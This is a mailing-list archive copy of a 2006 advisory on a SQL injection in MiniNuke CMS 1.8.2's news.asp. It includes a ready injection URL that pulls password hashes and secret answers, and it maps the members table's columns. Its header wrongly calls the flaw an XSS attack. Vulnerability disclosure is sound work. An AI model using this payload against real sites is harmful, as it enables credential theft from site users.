lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 12 Jan 2006 22:22:17 -0600
Subject: Advisory: MiniNuke CMS System <= 1.8.2 (news.asp) SQL Injection

--Security Report--
Advisory: XSS attack on email service.
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
Date: 12/01/06 08:47 PM
ICQ: 10072
Vendor: MiniNuke (
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can inject SQL query to the news.asp
How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery],sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52
Columns of MEMBERS:
uye_id = userid
sifre = md5 password hash
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
icq = ICQ Uin
msn = MSN Sn.
aim = AIM Sn.
meslek = job
cinsiyet = gender
yas = age
url = url
imza = signature
mail_goster = show mail :P
avurl = avatar url
avatar = avatar
Thanks to ajan;)
 From the NWPX team,
nuker a.k.a nukedx

Powered by blists - more mailing lists